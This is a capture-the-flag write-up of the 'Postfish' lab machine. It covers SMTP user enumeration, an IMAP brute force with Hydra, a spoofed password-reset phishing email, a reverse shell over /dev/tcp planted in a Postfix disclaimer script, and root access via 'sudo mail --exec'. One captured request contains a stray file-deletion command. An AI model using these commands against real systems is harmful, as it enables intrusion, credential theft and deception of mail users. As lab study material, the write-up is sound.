The "Postfish" CTF provided valuable experience in exploiting email services and leveraging privilege escalation techniques. By combining tools like Nmap, smtp-user-enum
, Hydra, and custom scripts, I was able to systematically enumerate the target, exploit vulnerabilities, and escalate privileges to root. This exercise reinforced the importance of secure configurations for email systems and proper access controls.
Enumeration
Nmap Scan
To begin, I performed a basic Nmap scan to identify open ports and services running on the target machine:
sudo nmap -sV -sC -sS -T5 -p- 192.168.176.137
Key Findings:
Port 22: SSH (OpenSSH 8.2p1 Ubuntu 4ubuntu0.1)
Port 25: SMTP (Postfix smtpd)
Port 80: HTTP (Apache httpd 2.4.41)
Port 110: POP3 (Dovecot pop3d)
Port 143: IMAP (Dovecot imapd)
Port 993: SSL/IMAP (Dovecot imapd)
Port 995: SSL/POP3 (Dovecot pop3d)
The presence of email services such as SMTP, IMAP, and POP3 suggested potential attack vectors.
Web Enumeration
Port 80 hosted a website with a team page listing names:
Claire Madison
Mike Ross
Brian Moore
Sarah Lorem
These names were used to generate possible usernames for further exploitation.
Exploitation
Step 1: Username Enumeration
I got a list of usernames from seclists and checked their existence via the smtp-user-enum
tool:
└─$ perl smtp-user-enum.pl -U /usr/share/seclists/Usernames/Names/names.txt -t 192.168.176.137
Starting smtp-user-enum v1.2 ( http://pentestmonkey.net/tools/smtp-user-enum )
----------------------------------------------------------
| Scan Information |
----------------------------------------------------------
Mode ..................... VRFY
Worker Processes ......... 5
Usernames file ........... /usr/share/seclists/Usernames/Names/names.txt
Target count ............. 1
Username count ........... 10177
Target TCP port .......... 25
Query timeout ............ 5 secs
Target domain ............
######## Scan started at Mon Oct 7 08:31:02 2024 #########
192.168.176.137: bin exists
192.168.176.137: hr exists
192.168.176.137: irc exists
192.168.176.137: mail exists
192.168.176.137: man exists
192.168.176.137: root exists
192.168.176.137: sales exists
192.168.176.137: sys exists
######## Scan completed at Mon Oct 7 08:38:29 2024 #########
8 results.
10177 queries in 447 seconds (22.8 queries / sec)
link to smtp-user-enum.pl:
https://github.com/pentestmonkey/smtp-user-enum/blob/master/smtp-user-enum.pl
link to the worlist:
https://github.com/danielmiessler/SecLists/blob/master/Usernames/Names/names.txt
Step 2: Brute-Forcing IMAP
I brute-forced the IMAP service using Hydra to test usernames as passwords and gain initial access:
hydra -L usernames.txt -P usernames.txt 192.168.176.137 imap
The credentials sales:sales
were successfully identified.
Step 3: Accessing Emails
Using Telnet, I accessed the POP3 service to retrieve emails:
└─$ telnet 192.168.176.137 110
Trying 192.168.176.137...
Connected to 192.168.176.137.
Escape character is '^]'.
+OK Dovecot (Ubuntu) ready.
user sales
+OK
pass sales
+OK Logged in.
list
+OK 1 messages:
1 683
.
retr 1
+OK 683 octets
Return-Path: <it@postfish.off>
X-Original-To: sales@postfish.off
Delivered-To: sales@postfish.off
Received: by postfish.off (Postfix, from userid 997)
id B277B45445; Wed, 31 Mar 2021 13:14:34 +0000 (UTC)
Received: from x (localhost [127.0.0.1])
by postfish.off (Postfix) with SMTP id 7712145434
for <sales@postfish.off>; Wed, 31 Mar 2021 13:11:23 +0000 (UTC)
Subject: ERP Registration Reminder
Message-Id: <20210331131139.7712145434@postfish.off>
Date: Wed, 31 Mar 2021 13:11:23 +0000 (UTC)
From: it@postfish.off
Hi Sales team,
We will be sending out password reset links in the upcoming week so that we can get you registered on the ERP system.
Regards,
IT
.
Step 4: Phishing Attack
I crafted a phishing email to trick brian.moore
into resetting his password to a known value:
└─$ telnet 192.168.176.137 25
Trying 192.168.176.137...
Connected to 192.168.176.137.
Escape character is '^]'.
220 postfish.off ESMTP Postfix (Ubuntu)
helo test
250 postfish.off
mail from:it@postfish.off
250 2.1.0 Ok
rcpt to:brian.moore@postfish.off
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
subject: passwordreset
ur password reset link http://192.168.45.165
.
250 2.0.0 Ok: queued as 7CF3345441
before that i started a lilstener to capture the request
└─$ nc -nlvp 80
listening on [any] 80 ...
connect to [192.168.45.165] from (UNKNOWN) [192.168.176.137] 57840
POST / HTTP/1.1
Host: 192.168.45.165
User-Agent: curl/7.68.0
Accept: */*
Content-Length: 207
Content-Type: application/x-www-form-urlencoded
first_name%3DBrian%26last_name%3DMoore%26email%3Dbrian.moore
%postfish.off%26username%3Dbrian.moore%26password%3DEternaLSunshinE
%26confifind /var/mail/ -type f ! -name sales
-delete_password%3DEternaLSunshinE
Step 5: Gaining Initial Shell
With the compromised credentials (brian.moore:EternaLSunshinE
), I logged in via SSH:
└─$ ssh brian.moore@192.168.176.137
The authenticity of host '192.168.176.137 (192.168.176.137)' can't be established.
ED25519 key fingerprint is SHA256:D9EwlP6OBofTctv3nJ2YrEmwQrTfB9lLe4l8CqvcVDI.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.176.137' (ED25519) to the list of known hosts.
brian.moore@192.168.176.137's password: EternaLSunshinE
brian.moore@postfish:~$
Privilege Escalation
Lateral Movement
A Google search on 'postfix disclaimer' results in the following being the first result on Google: https://www.howtoforge.com/how-to-automatically-add-a-disclaimer-to-outgoing-emails-with-altermime-postfix-on-debian-squeeze. Looking through this it seems the admin on the box has followed the included steps to install and configure alterMIME to get disclaimers appended to emails.
Reading through the article essentially we see that for any emails included in the file /etc/postfix/disclaimer_addresses
. When any of these addresses send or recieve an email the following file gets executed /etc/postfix/disclaimer
.
By modifying the /etc/postfix/disclaimer
script to include a reverse shell payload, I triggered execution when sending an email:
echo 'bash -i >& /dev/tcp/192.168.45.165/4443 0>&1' > /etc/postfix/disclaimer
Triggering the script:
└─$ telnet 192.168.176.137 25
mail from:it@postfish.off
250 2.1.0 Ok
rcpt to:brian.moore@postfish.off
250 2.1.5 Ok
data
354 End data with <CR><LF>.<CR><LF>
zero
.
250 2.0.0 Ok: queued as 3A858458E5
And we get our connection as user filter who can run mail as root without a password
└─$ nc -nlvp 4443
listening on [any] 4443 ...
connect to [192.168.45.165] from (UNKNOWN) [192.168.176.137] 50350
/bin/sh: 0: can't access tty; job control turned off
$ whoami
filter
$ sudo -l
Matching Defaults entries for filter on postfish:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User filter may run the following commands on postfish:
(ALL) NOPASSWD: /usr/bin/mail *
Privilege Escalation
$ sudo mail --exec='!/bin/sh'
whoami
root